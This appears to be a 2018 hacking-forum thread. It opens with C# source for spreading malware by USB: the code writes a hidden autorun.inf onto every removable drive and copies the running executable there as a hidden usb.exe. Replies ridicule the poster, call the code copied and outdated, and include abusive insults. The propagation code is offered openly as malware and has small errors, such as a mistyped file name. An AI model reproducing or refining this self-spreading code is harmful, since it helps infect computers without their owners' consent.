Thread: [USB Spread Source](#)

DeletedUser999213 - March 10, 2018, 5:23 am

```
Code public static void USBSpread()
{
    DriveInfo[] drives = DriveInfo.GetDrives();
    foreach (DriveInfo drive in drives)
    {
        if (drive.DriveType == DriveType.Removable)
        {
            StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
            writer.WriteLine("[autorun] \n ");
            writer.WriteLine("open = usb.exe");
            writer.WriteLine("action = Run win32");
            writer.Close();
            string Location = System.Reflection.Assembly.GetEntryAssembly().ToString();
            File.SetAttributes(drive.Name + "the autorun.inf", File.GetAttributes(drive.Name + "the
autorun.inf") | FileAttributes.Hidden);
            File.Copy(Location, drive.Name + "usb.exe", true);
            File.SetAttributes(drive.Name + "usb.exe", File.GetAttributes(drive.Name + "usb.exe") |
FileAttributes.Hidden);
        }
    }
}
```

LMAO yeah dont just paste something if you dont have a general idea how it works. if you do that
then just uninstall all ide's right now
maybe even delete you account out of shame.

check out sololearn and ask on overstack

Vuln - May 7, 2018, 1:22 pm

With some luck this could infect a couple of Windows ME systems.

Vyxn - May 8, 2018, 4:02 am

I don't think this will work with the modern version. I've seen this technique to all binary I've analyze.
You sure, the code was yours?

Tommy Chong- - May 9, 2018, 8:01 am

For real bro? You don't even take the slightest bit of effort to change up the code so no one would find it by googling just 1 line of the code.

This is 5 year old code on github and widely reposted all over the internet in every corner possible.

<https://gist.github.com/veyselsahin/7356869>

<http://cnettricks.blogspot.nl/>

If you claim any code as yours and it end up being found on a blogspot blog.... dude you should refrain from using the internet entirely.

OP, you're a cunt. A special type of cunt

Besides, the code is pretty shitty anyway.

jcbullet - May 13, 2018, 2:32 pm

Imao this wont even work on the majority of machines. There are much dated ways to usb spread.
